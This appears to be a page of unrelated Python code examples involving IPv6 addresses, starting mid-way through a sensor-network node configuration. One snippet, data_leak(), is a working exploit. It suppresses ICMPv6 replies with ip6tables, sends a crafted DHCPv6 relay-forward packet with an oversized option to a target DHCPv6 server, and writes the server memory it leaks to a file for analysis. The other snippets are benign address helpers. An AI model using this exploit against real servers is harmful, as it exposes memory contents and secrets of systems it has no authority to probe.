    "wsn2": IPv6Address("fd00::212:4b00:14d5:2bd6"),
    "wsn3": IPv6Address("fd00::212:4b00:14d5:2ddb"),
    "wsn4": IPv6Address("fd00::212:4b00:14d5:2be6"),
    "wsn5": IPv6Address("fd00::212:4b00:14b5:da27"),
    "wsn6": IPv6Address("fd00::212:4b00:14d5:2f05"),
}

root_node = "wsn1"

device_stereotypes = {
    "wsn1": StereotypeTags(device_class=DeviceClass.SERVER),  # Root
    "wsn2": StereotypeTags(device_class=DeviceClass.RASPBERRY_PI),  # Edge
    "wsn3": StereotypeTags(device_class=DeviceClass.IOT_MEDIUM),  # IoT
    "wsn4": StereotypeTags(device_class=DeviceClass.IOT_MEDIUM),  # IoT
    "wsn5": StereotypeTags(device_class=DeviceClass.IOT_MEDIUM),  # IoT
    "wsn6": StereotypeTags(device_class=DeviceClass.RASPBERRY_PI),  # Edge
}

hostname_to_names = {
    "wsn1": "root",
    "wsn2": "rr2",
    "wsn3": "wsn3",
    "wsn4": "wsn4",
    "wsn5": "wsn5",
    "wsn6": "rr6",
Ejemplo n.º 29
0
def data_leak():
    # Add iptables rules to DROP icmp packets
    system("ip6tables -A OUTPUT -p icmpv6 --icmpv6-type destination-unreachable -j DROP")

    # Receive data leak reply
    sock = socket(AF_INET6, SOCK_DGRAM)
    sock.setsockopt(SOL_SOCKET, SO_RCVBUF, LEAK_BYTES)
    sock.bind(('::', 547))

    duid = unhexlify(str(dhcpv6_server_duid).encode("hex"))
    # assert len(duid) == 14

    link_addr = str(IPv6Address(unicode(ipv6src)) + randint(1, 10))
    peer_addr = ipv6r.get_random_ip(8)

    options = {}
    options_raw = gen_option(9, inner_pkg(duid), LEAK_BYTES)

    pkt = dhcpv6r.make_relay_forw_packet(ethernet_src_mac=macsrc,
                                         ethernet_dst_mac=dhcpv6_server_mac,
                                         ipv6_src=ipv6src,
                                         ipv6_dst=host,
                                         ipv6_flow=0,
                                         hop_count=63,
                                         link_addr=link_addr,
                                         peer_addr=peer_addr,
                                         options=options,
                                         options_raw=options_raw)
    try:
        SOCK = socket(AF_PACKET, SOCK_RAW)
        SOCK.bind((current_network_interface, 0))
        SOCK.send(pkt)
        print(Base.c_info + "Send data leak request to: [" + host + "]:547")
        SOCK.close()
    except:
        print(Base.c_error + "Do not send data leak request.")
        exit(1)

    with open(args.file_name, 'wb') as response_file:
        sock.setblocking(0)
        ready = select([sock], [], [], 30)
        if ready[0]:
            response_file.write(sock.recvfrom(LEAK_BYTES)[0])
        else:
            # Delete iptables rules to DROP icmp packets
            system("ip6tables -D OUTPUT -p icmpv6 --icmpv6-type destination-unreachable -j DROP")

            print(Base.c_error + "Can not receive data leak response!")
            sock.close()
            exit(1)

    data_leak_size = stat(args.file_name).st_size
    if data_leak_size == LEAK_BYTES:
        print(Base.c_success + "Length data leak response: " + str(hex(data_leak_size)))
        analyze_leak_data()
    else:
        print(Base.c_error + "Bad length of data leak response: " + str(hex(data_leak_size)))

    # Delete iptables rules to DROP icmp packets
    system("ip6tables -D OUTPUT -p icmpv6 --icmpv6-type destination-unreachable -j DROP")

    print(Base.c_info + "Dump data leak response to file: " + args.file_name)
    sock.close()
Ejemplo n.º 30
0
 def __init__(self, if_name):
     IPv6Address.__init__(self, 0)
     AutoAddress.__init__(self, if_name)
Ejemplo n.º 31
0
def ipv6_is_defined(address):
    """
    The function for checking if an IPv6 address is defined (does not need to
    be resolved).

    Args:
        address (:obj:`str`): An IPv6 address.

    Returns:
        namedtuple:

        :is_defined (bool): True if given address is defined, otherwise
            False
        :ietf_name (str): IETF assignment name if given address is
            defined, otherwise ''
        :ietf_rfc (str): IETF assignment RFC if given address is defined,
            otherwise ''
    """

    # Initialize the IP address object.
    query_ip = IPv6Address(str(address))

    # Initialize the results named tuple
    results = namedtuple('ipv6_is_defined_results', 'is_defined, ietf_name, '
                         'ietf_rfc')
    # Multicast
    if query_ip.is_multicast:

        return results(True, 'Multicast', 'RFC 4291, Section 2.7')

    # Unspecified
    elif query_ip.is_unspecified:

        return results(True, 'Unspecified', 'RFC 4291, Section 2.5.2')

    # Loopback.
    elif query_ip.is_loopback:

        return results(True, 'Loopback', 'RFC 4291, Section 2.5.3')

    # Reserved
    elif query_ip.is_reserved:

        return results(True, 'Reserved', 'RFC 4291')

    # Link-Local
    elif query_ip.is_link_local:

        return results(True, 'Link-Local', 'RFC 4291, Section 2.5.6')

    # Site-Local
    elif query_ip.is_site_local:

        return results(True, 'Site-Local', 'RFC 4291, Section 2.5.7')

    # Unique Local Unicast
    elif query_ip.is_private:

        return results(True, 'Unique Local Unicast', 'RFC 4193')

    return results(False, '', '')